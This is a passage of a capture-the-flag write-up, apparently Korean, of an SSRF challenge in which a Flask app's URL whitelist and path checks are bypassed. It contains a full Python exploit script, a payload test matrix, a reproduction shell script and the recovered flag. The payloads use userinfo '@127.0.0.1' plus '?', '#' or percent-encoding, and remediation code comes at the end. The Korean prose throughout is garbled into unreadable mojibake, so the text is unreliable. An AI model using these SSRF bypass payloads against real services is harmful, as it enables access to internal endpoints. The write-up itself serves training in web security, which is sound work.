์ฌ๋์ ์ค๋ณต โ /api/v1//test/internal ์ ์ฌ์ ํ /test/internal ๋ก ๋๋๋ค.
์์ชฝ์ ๊ฑด๋๋ ค ๋ด์ผ ๊ฒ์ฌ๋ ๋ค๋ง ๋ณธ๋ค.
์ฌ๊ธฐ์ ๋ฐฉํฅ์ด ์กํ๋ค. ํ์ํ ๊ฑด "๊ฒฝ๋ก ๋ค์ ๋ญ๊ฐ ๋ถ์ด๊ธฐ"๊ฐ ์๋๋ผ ์์ฒญ ๊ฒฝ๋ก๋ ๊ทธ๋๋ก ๋๋ฉด์ ๋ฌธ์์ด ๋๋ง ๋ค๋ฅด๊ฒ ๋ง๋๋ ๋ฌธ๋ฒ์ด๋ค.
๐ฃ ํต์ฌ โ ๋ฌธ์์ด ๊ฒ์ฌ์ URL ํ์ ์ฌ์ด์ ํ
๋ ๊ด๋ฌธ ๋ชจ๋ url ์ ๋ฌธ์์ด๋ก๋ง ๋ค๋ฃฌ๋ค. ์ 20๊ธ์์ ๋ค 14๊ธ์๋ฅผ ๋ณผ ๋ฟ์ด๋ค.
๋ฐ๋ฉด ์ค์ ์์ฒญ์ ๋ง๋๋ curl ์ ๊ทธ ๋ฌธ์์ด์ URL ๋ก ํ์ฑํ๋ค.
๊ทธ ์ฌ์ด์ ๋ ์ ์๋ ๋ฌธ๋ฒ์ด ์ธ ๊ฐ์ง ์์๋ค.

| ๋ถ์ด๋ ๊ฒ | ๊ฒ์ฌ๊ธฐ๊ฐ ๋ณด๋ ๋ฌธ์์ด ๋ | ์๋ฒ๊ฐ ๋ผ์ฐํ ํ๋ ๊ฒฝ๋ก | ํต๊ณผ ์ด์ |
|---|---|---|---|
? | ...internal? | /api/v1/test/internal | ? ๋ค๋ ์ฟผ๋ฆฌ์คํธ๋ง์ด๋ผ ๊ฒฝ๋ก์์ ๋ถ๋ฆฌ๋๋ค |
# | ...internal# | /api/v1/test/internal | ํ๋๊ทธ๋จผํธ๋ ์๋ฒ๋ก ์ ์ก๋์ง ์๋๋ค |
%6C | ...interna%6C | /api/v1/test/internal | curl ์ ๊ทธ๋๋ก ๋ณด๋ด๊ณ Werkzeug ๊ฐ ๋์ฝ๋ฉํ๋ค |
/./ | ...test/./internal | /api/v1/test/internal | curl ์ด ์๋ ๊ฒฝ๋ก ์ธ๊ทธ๋จผํธ๋ฅผ ์ ๊ทํํ๋ค |
๋ค ๊ฐ์ง๊ฐ ๋ค ํตํ๋๋ฐ ์ด์ ๋ ์ ๋ถ ๋ค๋ฅด๋ค. ์ด๋์ ๊ฒฝ๋ก๊ฐ ์ ๊ทํ๋๋์ง๊ฐ ๊ฐ๊ฐ ๋ค๋ฅด๊ธฐ ๋๋ฌธ์ด๋ค.
# ์ curl ์ด ์์ ์๋ผ ๋ฒ๋ฆฐ๋ค. ํ๋๊ทธ๋จผํธ๋ ํด๋ผ์ด์ธํธ๊ฐ ์ฐ๋ ์ ๋ณด๋ผ ์๋ ์ ์ก ๋์์ด ์๋๋ค.
/./ ๋ curl ์ด ๋ณด๋ด๊ธฐ ์ ์ ์ ๋ฆฌํ๋ค. ์๋ ๊ฒฝ๋ก ์ธ๊ทธ๋จผํธ๋ฅผ ์ง์ฐ๋ ๊ฑด RFC 3986 ์ ์ ๊ทํ ์ ์ฐจ๋ค.
%6C ์ ์ฑ๊ฒฉ์ด ๋ค๋ฅด๋ค. curl ์ ์ด๋ฏธ ์ธ์ฝ๋ฉ๋ ๊ฒฝ๋ก๋ฅผ ๋ค์ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๊ทธ๋๋ก ์ค์ด ๋ณด๋ธ๋ค.
๊ทธ๋์ ์์ฒญ์ค์ /api/v1/test/interna%6C ์ด ๊ทธ๋๋ก ๋๊ฐ๋ค.
ํธ๋ ๊ฑด ๋ฐ๋ ์ชฝ์ด๋ค. Werkzeug ๊ฐ PATH_INFO ๋ฅผ ๋ง๋ค๋ฉด์ ํผ์ผํธ ์ธ์ฝ๋ฉ์ ๋์ฝ๋ฉํ๊ณ ,
๊ทธ ๊ฒฐ๊ณผ์ธ /api/v1/test/internal ๋ก ๋ผ์ฐํ
ํ๋ค.
? ๋ ์๋ฌด๋ ์๋์ง ์๋๋ค โ ๊ทธ๋ฅ HTTP ์์ฒญ์ค์์ ๊ฒฝ๋ก์ ์ฟผ๋ฆฌ๋ฅผ ๊ฐ๋ฅด๋ ๊ตฌ๋ถ์์ผ ๋ฟ์ด๋ค.
๋ค ๊ฒฝ์ฐ ๋ชจ๋ "๊ฒฝ๋ก๋ฅผ ๋๊ฐ ์ด๋ ์์ ์ ์ ๊ทํํ๋๋"๊ฐ ๋ค๋ฅด๋ค.
curl ์ด ๋ณด๋ด๊ธฐ ์ ์ ํ๊ธฐ๋ ํ๊ณ , ์๋ฒ๊ฐ ๋ฐ์ ๋ค์ ํ๊ธฐ๋ ํ๋ค.
๊ฒ์ฌ๋ ๊ทธ ์ ์ ๋๋ ์์ผ๋ ์ด๋ ์ชฝ์ด๋ ๊ฒ์ฌ๊ธฐ๋ ์ต์ข
๊ฒฝ๋ก๋ฅผ ๋ณธ ์ ์ด ์๋ค.
์ฌ๊ธฐ์ ํ ๊ฐ์ง ํ์ธํ ๊ฒ ์์๋ค. ๋ด ์์
PC ์ curl 8.14.1 ์
๋น ์ฟผ๋ฆฌ์คํธ๋ง(? ๋ง ์๊ณ ๋ค๊ฐ ์๋ ๊ฒฝ์ฐ)์ ์์ฒญ์ค์์ ์์ ๋นผ๊ณ ๋ณด๋ธ๋ค.
๊ทธ๋ฐ๋ฐ python:3.10-slim-buster ์ ๋ธ๋ ค ์ค๋ curl ์ 7.64.0 ์ด๋ผ ? ๋ฅผ ๊ทธ๋๋ก ์ค์ด ๋ณด๋ธ๋ค.
์์ curl -v ์บก์ณ๋ฅผ ๋ด ์
ธ์ด ์๋๋ผ ์ปจํ
์ด๋ ์์์ ์ฐ์ ๊ฒ๋ ๊ทธ๋์๋ค.
GET /api/v1/test/internal? HTTP/1.1 ๋ก ๋๊ฐ๋๋ฐ๋ ์ฐํ๊ฐ ์ฑ๋ฆฝํ๋ค.
์๋ฒ๊ฐ ? ๋ฅผ ๋ง๋๋ฉด ๊ทธ ์๊น์ง๋ฅผ ๊ฒฝ๋ก๋ก ์๋ผ ๋ผ์ฐํ
ํ๊ธฐ ๋๋ฌธ์ด๋ค.
์ฆ ์ด ์ฐํ๋ curl ๋ฒ์ ์ ๊ธฐ๋์ง ์๋๋ค. ํ์ธํด ๋์ง ์์์ผ๋ฉด
"๋ด ํ๊ฒฝ์์๋ง ๋๋ ๊ฒ"์ ์๋ฆฌ๋ก ์ฐฉ๊ฐํ ๋ปํ๋ค.
๋ง์ง๋ง ๊ด๋ฌธ์ ์๋์ผ๋ก ํ๋ฆฐ๋ค.
curl ์ด 127.0.0.1:8000 ์ผ๋ก TCP ์ฐ๊ฒฐ์ ๋งบ์ผ๋, Flask ๊ฐ ๋ณด๋ request.remote_addr ๋ 127.0.0.1 ์ด๋ค.
/api/v1/test/internal ์ ๊ทธ๊ฑธ ๋ก์ปฌ ์ ๊ทผ์ผ๋ก ์ธ์ ํ๊ณ ํ๋๊ทธ๋ฅผ ์ค๋ค.
์๋ฒ ๋ก๊ทธ๋ก ํ์ธ โ ์์ฒญ์ด ์ ๋ง ๋๋ก ๊ฐ๋ผ์ง๋ค
remote_addr ์ด์ผ๊ธฐ๋ ์ถ๋ก ์ผ๋ก ๋๋ด๋ฉด ์ฐ์ฐํ๋ค. ๋ก์ปฌ ์ปจํ
์ด๋์ ๊ฐ๋ฐ ์๋ฒ ๋ก๊ทธ๋ฅผ ๊ทธ๋๋ก ๋ดค๋ค.
docker logs curling-local 2>&1 | grep -E 'GET|POST'
๋ ์ค์ด ์ฐํ๋ค.
127.0.0.1 - - "GET /api/v1/test/internal HTTP/1.1" 200 -
172.17.0.1 - - "POST /api/v1/test/curl HTTP/1.1" 200 -์๋๊ฐ ๋ด๊ฐ ๋ณด๋ธ ์์ฒญ์ด๋ค. ๋์ปค ๋ธ๋ฆฌ์ง ๊ฒ์ดํธ์จ์ด์ธ 172.17.0.1 ๋ก ์กํ๋ค.
๊ทธ IP ๋ก๋ /api/v1/test/internal ์ ์ด ์ ์๋ค.
์๊ฐ curl ์ด ๋ง๋ค์ด ๋ธ ์์ฒญ์ด๊ณ , ์์ค๊ฐ 127.0.0.1 ์ด๋ค.
๊ฐ์ ํ๋ก์ธ์ค๊ฐ ์๊ธฐ ํฌํธ๋ก ์ ์ํ์ผ๋ ์ปค๋์ด ๋ฃจํ๋ฐฑ์ผ๋ก ๋ถ์ฌ ์ค ๊ฒ์ด๋ค.
์์๊ฐ ๋ค์งํ ๋ณด์ด๋ ๊ฒ๋ ์ด์ ๊ฐ ์๋ค.
curl ์ด ๋๋์ผ ๋ฐ๊นฅ ์์ฒญ์ด ์๋ต์ ๋ฐํํ๋ฏ๋ก, ์์ชฝ ์์ฒญ์ด ๋จผ์ ์๋ฃ๋๊ณ ๋จผ์ ๋ก๊ทธ์ ๋จ๋๋ค.
๐ฏ ์ฐํ ํ์ธ โ ๋ก์ปฌ์์ ๋จผ์ ์ ๋ถ ๋๋ ค ๋ดค๋ค
๋ผ์ด๋ธ์ ๋ถ๊ธฐ ์ ์ ํ๋ณด๋ฅผ ํ ๋ฒ์ ๋์ ธ ์ด๋ ๊ด๋ฌธ์์ ๋งํ๋์ง ํ๋ก ๋ดค๋ค.
# tools_matrix.py
CASES = [
("ํ๋ฒํ๊ฒ ๋ด๋ถ๋ก", "http://127.0.0.1:8000/api/v1/test/internal"),
("localhost ๋ก", "http://localhost:8000/api/v1/test/internal"),
("ํ์ดํธ๋ฆฌ์คํธ 2๋ฒ์งธ ํธ์คํธ", "http://tools.dreamhack.io/"),
("userinfo ์ฐํ๋ง", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal"),
("userinfo + ๋น ์ฟผ๋ฆฌ ?", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal?"),
("userinfo + ๋น ํ๋๊ทธ๋จผํธ #", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal#"),
("userinfo + %6C ์ธ์ฝ๋ฉ", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/interna%6C"),
]
for label, url in CASES:
try:
msg = requests.post(BASE, data={"url": url}, timeout=10).json().get("msg", "")
except Exception as e: # noqa: BLE001
msg = f"<{e.__class__.__name__}>"
msg = " ".join(str(msg).split())
verdict = "FLAG" if "DH{" in msg else "์ฐจ๋จ"
print(f" {verdict:4} {pad(label, 30)} {msg[:52]}")
์ ๋ค ์ค์ด ๋งํ๊ณ ์๋ ์ธ ์ค์ด ๋ซ๋ฆฐ๋ค. ๋งํ ์ด์ ๋ ๋ ์ข ๋ฅ๋ก ๊ฐ๋ฆฐ๋ค โ ์ ์ ์ ๊ด๋ฌธ โ , ๋ค ๋ฒ์งธ๋ ๊ด๋ฌธ โก ๋ค.
ํ ๊ด๋ฌธ์ฉ ํ์คํ ๋๊ฒผ๋์ง ํ์ธํ๊ณ ๋์ด๊ฐ ์ ์๋ค๋ ๊ฒ ์ด ํ์ ์ธ๋ชจ๋ค. ์ฌ๊ธฐ๊น์ง ๋๋ฉด ๋ผ์ด๋ธ์์ ํ ์ผ์ payload ํ๋ ๋ณด๋ด๋ ๊ฒ๋ฟ์ด๋ค.
ํผ์ผ๋ก๋ ๊ฐ์ ๊ฑธ ํ์ธํ๋ค.

์๋ต์ด ๋ ๊ฒน์ผ๋ก ๊ฐ์ธ์ฌ ์๋ค.
๋ฐ๊นฅ์ /api/v1/test/curl ์ด ๋๋ ค์ค ๊ฒ์ด๊ณ , ์์ชฝ ์ด์ค์ผ์ดํ๋ JSON ์ด curl ์ด ๋ฐ์ ์จ ๋ด๋ถ ์๋ต์ด๋ค.
curl ์ stdout ์ด ๊ทธ๋๋ก msg ์ ์ค๋ ค ๋์ค๋, ์๋ฒ๊ฐ ์๊ธฐ ์์ ์๊ฒ ๋ฌผ์ด๋ณธ ๊ฒฐ๊ณผ๋ฅผ ์ฐ๋ฆฌ๊ฐ ์ฝ๋ ๊ตฌ์กฐ๋ค.
๐ Full Exploit
์ค์ ๋ก ํ๋๊ทธ๋ฅผ ๋ฝ์ ์คํฌ๋ฆฝํธ ์ ๋ฌธ์ด๋ค.
์ฐํ ๋ฐฉ์ ์ธ ๊ฐ์ง๋ฅผ --variant ๋ก ๊ณจ๋ผ ์ธ ์ ์๊ฒ ํด ๋๋ค.
#!/usr/bin/env python3
"""curling (DreamHack Silver 2, web) โ SSRF exploit.
์ทจ์ฝ์ ์ธ ๊ฒน์ ํ ์ค์ง๋ฆฌ URL ํ๋๋ก ํต๊ณผํ๋ค.
1) ALLOWED_HOSTS ๋ฃจํ์ return ์์น๊ฐ ์๋ชป๋ผ ์ค์ง ๊ฒ์ฌ๊ฐ
url.startswith('http://dreamhack.io') ์ ๋์ฌ ๋งค์นญ ํ๋๋ฟ์ด๋ค.
2) ์ ๋์ฌ ๋งค์นญ์ด๋ผ URL userinfo ๋ฅผ ์ฐ๋ฉด ๊ฒ์ฌ๋ฅผ ํต๊ณผํ๋ฉด์ ์ค์ ๋ชฉ์ ์ง๋
๋ด ๋ง์๋๋ก ์ก์ ์ ์๋ค โ http://dreamhack.io@127.0.0.1:8000/...
('dreamhack.io' ๋ curl ์๊ฒ user ์ด๋ฆ์ผ ๋ฟ, ํธ์คํธ๋ 127.0.0.1)
3) ๋ง์ง๋ง ๊ด๋ฌธ url.endswith('/test/internal') ์ ๋ค์ ํ ๊ธ์๋ง ๋ถ์ด๋ฉด ๊นจ์ง๋ค.
๋น ์ฟผ๋ฆฌ์คํธ๋ง '?' ยท ๋น ํ๋๊ทธ๋จผํธ '#' ยท ๊ฒฝ๋ก %6C ์ธ์ฝ๋ฉ ์
๋ค ํตํ๋ค.
์ฌ์ฉ๋ฒ (๊ธฐ๋ณธ๊ฐ์ด ์คํจ๊ฐ์ด๋ค โ ๋์ URL ์ ๋ฐ๋์ ์ธ์๋ก ์ค๋ค):
python3 solve.py http://host1.dreamhack.games:12345
python3 solve.py http://127.0.0.1:18000 --variant frag
"""
import argparse
import re
import sys
import requests
# ๋ฌธ์ ์๋ฒ ์ปจํ
์ด๋ ์์์ Flask ๊ฐ ๋ฃ๊ณ ์๋ ์ฃผ์. app.run(host='0.0.0.0', port='8000')
INTERNAL = "127.0.0.1:8000"
PATH = "/api/v1/test/internal"
VARIANTS = {
# ๋น ์ฟผ๋ฆฌ์คํธ๋ง: endswith('/test/internal') ๋ ๊นจ์ง๊ณ werkzeug ๋ผ์ฐํ
์ ๊ทธ๋๋ก ๋งค์นญ
"query": f"http://dreamhack.io@{INTERNAL}{PATH}?",
# ๋น ํ๋๊ทธ๋จผํธ: curl ์ด '#' ๋ค๋ฅผ ์๋ผ๋ด๊ณ ๋ณด๋ด๋ฏ๋ก ์๋ฒ๊ฐ ๋ฐ๋ ๊ฒฝ๋ก๋ ์๋ณธ ๊ทธ๋๋ก
"frag": f"http://dreamhack.io@{INTERNAL}{PATH}#",
# ๊ฒฝ๋ก ํผ์ผํธ ์ธ์ฝ๋ฉ: curl ์ ๊ฒฝ๋ก๋ฅผ ๊ทธ๋๋ก ์ ๋ฌ, werkzeug ๊ฐ %6C -> 'l' ๋ก ๋์ฝ๋ฉ
"enc": f"http://dreamhack.io@{INTERNAL}{PATH[:-1]}%6C",
}
def exploit(base: str, variant: str, timeout: int = 10) -> str:
url = VARIANTS[variant]
print(f"[*] target : {base}")
print(f"[*] variant : {variant}")
print(f"[*] SSRF url : {url}")
r = requests.post(
base.rstrip("/") + "/api/v1/test/curl",
data={"url": url},
timeout=timeout,
)
print(f"[*] status : {r.status_code}")
body = r.text
print(f"[*] response : {body.strip()[:300]}")
m = re.search(r"DH\{[^}]+\}", body)
if not m:
print("[!] flag ์์ โ ์๋ต์ ํ์ธํ ๊ฒ", file=sys.stderr)
sys.exit(1)
return m.group(0)
def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("base", help="์: http://host1.dreamhack.games:12345")
ap.add_argument("--variant", choices=sorted(VARIANTS), default="query")
args = ap.parse_args()
flag = exploit(args.base, args.variant)
print()
print(f"[+] FLAG: {flag}")
if __name__ == "__main__":
main()๋ผ์ด๋ธ ์ธ์คํด์ค ์ฃผ์๋ฅผ ์ธ์๋ก ์ฃผ๋ฉด ๋๋๋ค.

DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}์ธ์๋ฅผ ์ ์ฃผ๋ฉด argparse ๊ฐ ๋ฐ๋ก ์๋ฌ๋ฅผ ๋ธ๋ค. ๊ธฐ๋ณธ ๋์ ๊ฐ์ ๊ฑด ๋์ง ์์๋ค โ
๋ก์ปฌ ํฌํธ๋ฅผ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ๋ฐ์ ๋๋ฉด ๋ผ์ด๋ธ์์ ์กฐ์ฉํ ์๋ฑํ ๋ฐ ์๊ฒ ๋๋ค.
์ฌํ์ฉ์ผ๋ก๋ ์ด๊ฑธ ํ ๋ฒ์ ๋๋ฆฌ๋ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฐ๋ก ๋๋ค.
#!/usr/bin/env bash
# reproduce.sh โ ์ธ์ ์์ผ๋ฉด ๋ก์ปฌ docker ๋ก ์ฒด์ธ ๊ฒ์ฆ, ์ธ์๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธ์์ ์ง์ง flag
set -eu
cd "$(dirname "$(readlink -f "$0")")"
FLAG_LIVE='DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}'
if [ -f ๋ฌธ์ .json ]; then
FLAG_LIVE=$(python3 -c "import json;print(json.load(open('๋ฌธ์ .json')).get('flag',''))" 2>/dev/null || echo "$FLAG_LIVE")
fi
if [ $# -ge 1 ]; then
TARGET="$1"; MODE="live"; EXPECT="$FLAG_LIVE"
else
echo "[*] ๋ก์ปฌ docker ๊ธฐ๋ (Dockerfile.local โ buster EOL ์ด๋ผ archive.debian.org ์ฌ์ฉ)"
./run_local.sh
TARGET="http://127.0.0.1:18000"; MODE="local"
EXPECT=$(cat extracted/flag)
fi
echo
echo "[*] mode=$MODE target=$TARGET"
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && [ "$FLAG" = "$EXPECT" ]; then
echo
if [ "$MODE" = local ]; then
echo "โ
PASS $FLAG (๋๋ด๋ ๋ก์ปฌ flag โ ์ต์ค ์ฒด์ธ ์ ์. ์ง์ง flag ๋ ๋ผ์ด๋ธ ์๋ฒ์์๋ง ๋์จ๋ค)"
else
echo "โ
PASS $FLAG"
fi
exit 0
fi
echo
echo "โ FAIL (์ป์ ๊ฐ: '${FLAG:-์์}' / ๊ธฐ๋: '$EXPECT')"
exit 1๋ก์ปฌ ๋ชจ๋์ PASS ๋ DH{fake_flag} ๋ฅผ ๋งํ ๊ฒ์ด๋ค.
์ง์ง ํ๋๊ทธ์ ๋์กฐํ๋ ค๋ฉด ๋ผ์ด๋ธ ์ฃผ์๋ฅผ ์ธ์๋ก ๋๊ฒจ์ผ ํ๋ค. ๊ทธ ๊ตฌ๋ถ์ ์ถ๋ ฅ์ ์ ์ด ๋๋ค.
์ฒ์๋ถํฐ ์ฌํํ๋ ์์
๋ฐฐํฌ๋ณธ๋ง ์์ผ๋ฉด ์๋ ๋ท์ผ๋ก ๋๋๋ค. ํ์ผ์ ์ ๋ถ ๋ฌธ์ ํด๋ ํ ๊ณณ์ ๋๋ค.
| ๋จ๊ณ | ๋ช ๋ น | ๋น๊ณ |
|---|---|---|
| 1 | docker build -f Dockerfile.local -t curling-local . | ๋ฐฐํฌ Dockerfile ์ buster EOL ๋๋ฌธ์ ์คํจํ๋ค |
| 2 | ./run_local.sh | ์ปจํ ์ด๋ 8000 โ ํธ์คํธ 18000 |
| 3 | python3 tools_matrix.py http://127.0.0.1:18000 | ์ด๋ ๊ด๋ฌธ์์ ๋งํ๋์ง ํ๋ก ํ์ธ |
| 4 | python3 solve.py <๋ผ์ด๋ธ ์ฃผ์> | ์ง์ง ํ๋๊ทธ. ์ธ์ ์๋ต ์ ์๋ฌ |
solve.py ์ ๊ธฐ๋ณธ ๋์์ด ์๋ ๊ฒ ์๋๋ผ๋ ์ ๋ง ๋ค์ ์ ์ด ๋๋ค.
๋ก์ปฌ ํฌํธ๋ฅผ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ๋ฐ์ ๋๋ฉด ๋ผ์ด๋ธ์์ ์ธ์๋ฅผ ๊น๋นกํ์ ๋
"์ ๋ก์ปฌ flag ๊ฐ ๋์ค์ง" ํ๊ณ ํ์ฐธ ํค๋งค๊ฒ ๋๋ค.
๐ ๊ฒฐ๋ก
ํ์ดํธ๋ฆฌ์คํธ๋ ํ์ฑํ ๋ค์ ๋น๊ตํ๋ค.
์ด ๋ฌธ์ ์ ์ฒซ ๊ตฌ๋ฉ์ startswith ๋ค.
ํธ์คํธ๋ฅผ ๊ฒ์ฌํ๊ณ ์ถ์์ผ๋ฉด URL ์ ํ์ฑํด์ host ํ๋๋ง ๊บผ๋ด ๋น๊ตํ์ด์ผ ํ๋ค.
from urllib.parse import urlparse
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https') or parsed.hostname not in ALLOWED_HOSTS:
return {'result': False, 'msg': 'Not Allowed host'}urlparse ์ hostname ์ userinfo ๋ฅผ ๋ผ๊ณ ์์ ํธ์คํธ๋ง ๋๋ ค์ค๋ค.
๊ฐ์ payload ๋ฅผ ๋ฃ์ด๋ 127.0.0.1 ์ด ๋์ค๋ ๋ชฉ๋ก์ ์์ด์ ๊ฑธ๋ฆฐ๋ค.
์ ๋์ฌยท๋ถ๋ถ ๋ฌธ์์ด ๋น๊ต๋ก ๋๋ฉ์ธ์ ๊ฒ์ฌํ๋ ์ฝ๋๋ ๋๋ถ๋ถ ๊ฐ์ ๋ฌธ์ ๋ฅผ ๊ฐ๋๋ค.
@ ๋ง๊ณ ๋ dreamhack.io.attacker.test ์ฒ๋ผ ๋ค์ ๋ถ์ด๋ ์๋ฒ์ด ๋ ๋ฐ๋ผ์จ๋ค.
์ฐจ๋จ ๋ชฉ๋ก๋ณด๋ค ๋ชฉ์ ์ง๋ฅผ ๋ง๋ ๊ฒ ๋ซ๋ค.
endswith('/test/internal') ๋ ํน์ ๊ฒฝ๋ก ํ๋๋ง ๊ฐ๋ฆฐ ๊ฒ์ด๋ค.
๊ฒฝ๋ก ํ๊ธฐ ๋ฐฉ๋ฒ์ด ๋ช ๊ฐ์ง์ธ์ง ๋ค ์ธ์ด ๋ณธ ๋ค์์ผ ์์ ํ๋ฐ, ์ด๋ฒ์ ๋์จ ๊ฒ๋ง ๋ท์ด๋ค.
SSRF ๋ฐฉ์ด์ ์ถ์ "๋ฌด์์ ๋ถ๋ฅด์ง ๋ชปํ๊ฒ ํ ๊น"๊ฐ ์๋๋ผ "์ด๋๋ก ๋๊ฐ ์ ์๋"๋ค. DNS ๋ก ํ๋ฆฐ ์ฃผ์๊ฐ ์ฌ์ค ๋์ญยท๋ฃจํ๋ฐฑ์ธ์ง ํ์ธํ๊ณ , ๋ฆฌ๋ค์ด๋ ํธ๋ฅผ ๋ฐ๋ผ๊ฐ ๋๋ง๋ค ๋ค์ ํ์ธํ๋ ์ชฝ์ด ๋ง๋ค.
๋ ๊ฐ์ง๋ฅผ ํฉ์น๋ฉด ๊ฒ์ฌ๋ถ๋ ๋๋ต ์ด๋ฐ ๋ชจ์์ด ๋๋ค.
import ipaddress
import socket
from urllib.parse import urlparse
ALLOWED_HOSTS = {'dreamhack.io', 'tools.dreamhack.io'}
def safe_target(raw: str) -> str:
parsed = urlparse(raw)
# 1) ์คํดยทํธ์คํธ๋ฅผ ํ์ฑํด์ ๋ณธ๋ค. ์ ๋์ฌ ๋น๊ต๊ฐ ์๋๋ผ ์ ํํ ์ผ์น.
if parsed.scheme not in ('http', 'https'):
raise ValueError('scheme')
if parsed.hostname not in ALLOWED_HOSTS: # userinfo ๋ hostname ์ ์ ๋ค์ด์จ๋ค
raise ValueError('host')
# 2) ์ค์ ๋ก ์ฐ๊ฒฐ๋ ์ฃผ์๊ฐ ๋ด๋ถ์ธ์ง ํ์ธํ๋ค. DNS ๋ฆฌ๋ฐ์ธ๋ฉ๊น์ง ๋ง์ผ๋ ค๋ฉด
# ์ฌ๊ธฐ์ ์ป์ IP ๋ก ์ง์ ์ ์ํ๊ณ Host ํค๋๋ง ์๋ ํธ์คํธ๋ก ๋ณด๋ธ๋ค.
for family, _, _, _, sockaddr in socket.getaddrinfo(parsed.hostname, None):
ip = ipaddress.ip_address(sockaddr[0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise ValueError('internal address')
return rawurlparse ์ hostname ์ userinfo ๋ฅผ ๋ผ๊ณ ์์ ํธ์คํธ๋ง ๋๋ ค์ฃผ๋ฏ๋ก
http://dreamhack.io@127.0.0.1:8000/... ์ ๋ฃ์ผ๋ฉด 127.0.0.1 ์ด ๋์จ๋ค. ๋ชฉ๋ก์ ์์ผ๋ ๊ฑฐ๊ธฐ์ ๋๋๋ค.
๋ ๋ฒ์งธ ๊ฒ์ฌ๊ฐ ํ์ํ ์ด์ ๋ ํ์ดํธ๋ฆฌ์คํธ๊ฐ ์์ด๋ ๊ทธ ๋๋ฉ์ธ์ด ๋ด๋ถ IP ๋ฅผ ๊ฐ๋ฆฌํฌ ์ ์์ด์๋ค.
๊ณต๊ฒฉ์๊ฐ ์๊ธฐ ๋๋ฉ์ธ์ A ๋ ์ฝ๋๋ฅผ 127.0.0.1 ๋ก ๋ฐ์ ๋๋ ๊ฑด ์๋ฌด ์ ์ฝ์ด ์๋ค.
์ด ๋ฌธ์ ์์๋ ํ์ดํธ๋ฆฌ์คํธ๊ฐ ๋๋ฆผํต ๋๋ฉ์ธ์ด๋ผ ํด๋น์ด ์์ง๋ง, ์ค์ ์๋น์ค์์๋ ์ด์ชฝ์ด ๋ ์์ฃผ ํฐ์ง๋ค.
endswith ๋ก ํน์ ๊ฒฝ๋ก๋ฅผ ๊ฐ๋ฆฌ๋ ์ฝ๋๋ ์์ ์ง์ฐ๋ ๊ฒ ๋ซ๋ค.
๊ฒฝ๋ก๋ฅผ ๊ฐ๋ ค์ผ ํ ๋งํผ ๋ฏผ๊ฐํ ์์์ด๋ฉด ๊ทธ๊ฑด ์์ฒญ์ ๋์ ๋ณด๋ด ์ฃผ๋ ๊ธฐ๋ฅ์ด ๋ฟ์ ์ ์๋ ๊ณณ์ ๋๋ฉด ์ ๋๋ค.
์์ค IP ๋ ์ธ์ฆ์ด ์๋๋ค.
request.remote_addr == '127.0.0.1' ํ๋๋ก ํ๋๊ทธ๋ฅผ ์ด์ด ์ค ๊ฒ ๋ง์ง๋ง ๊ณ ๋ฆฌ์๋ค.
๊ฐ์ ํธ์คํธ ์์ ์์๋ฐ์ด๋ ์์ฒญ์ ๋์ ๋ณด๋ด ์ฃผ๋ ๊ธฐ๋ฅ์ด ์์ผ๋ฉด ์ด ์กฐ๊ฑด์ ์ธ์ ๋ ์์กฐ๋๋ค.
๋ฆฌ๋ฒ์ค ํ๋ก์๊ฐ ์์ ์์ผ๋ฉด ํค๋ ํ๋๋ก๋ ํ๋ค๋ฆฐ๋ค.
๋ด๋ถ ์ ์ฉ ์๋ํฌ์ธํธ๋ผ๋ฉด ๋คํธ์ํฌ์์ ๋ถ๋ฆฌํ๊ฑฐ๋ ๋ณ๋ ์ธ์ฆ์ ๋ถ์ด๋ ๊ฒ ๋ง๋ค. "๋ก์ปฌ์์๋ง ๋ถ๋ฅผ ์ ์์ผ๋๊น ๊ด์ฐฎ๋ค"๋ ๊ฐ์ ์ด ์ด ๋ฌธ์ ์ ์ค์ง์ ์ทจ์ฝ์ ์ด๋ค.
์ ํ ๊ท์น๊ณผ ์คํ๋๋ ๊ท์น์ ๋ค๋ฅด๋ค.
ALLOWED_HOSTS ์๋ ํธ์คํธ๊ฐ ๋ ์ ํ ์์ง๋ง ๊ฒ์ฌ๋๋ ๊ฑด ํ๋๋ค.
๋ค์ฌ์ฐ๊ธฐ ํ ์นธ ๋๋ฌธ์ ๋ชฉ๋ก์ ์ ๋ฐ์ด ์ฃฝ์ ์ฝ๋๊ฐ ๋๊ณ , ์ ์ ๊ธฐ๋ฅ์ธ tools.dreamhack.io ๋ ๊ฐ์ด ๋งํ๋ค.
๋ณด์ ์ฝ๋๋ฅผ ์ฝ์ ๋ ๋ชฉ๋ก์ ๊ธธ์ด๋ฅผ ๊ท์น์ ๊ฐ์๋ก ๋ฏฟ์ผ๋ฉด ์ ๋๋ค๋ ๊ฒ ์ด๋ฒ์ ๋จ์ ๊ฒ์ด๋ค.
๋ฃจํ ์์์ return ํ๋ ์ฝ๋๋ ๊ฑฐ์ ํญ์ ํ ๋ฒ ๋ ๋ณผ ๊ฐ์ด ์๋ค.
ํ๊ฒฝ ์ฐจ์ด๋ ์๋ฆฌ๋ก ์ฐฉ๊ฐํ๊ธฐ ์ฝ๋ค.
? ์ฐํ๊ฐ ์ ๋๋์ง ์ค๋ช
ํ ๋, ์ฒ์์ "curl ์ด ๋น ์ฟผ๋ฆฌ๋ฅผ ๋ผ๊ณ ๋ณด๋ด๋๊น"๋ผ๊ณ ์ ์ ๋ปํ๋ค.
๋ด PC ์ curl 8.14.1 ์ด ๊ทธ๋ ๊ฒ ๋์ํด์๋ค.
๋ฌธ์ ์ปจํ
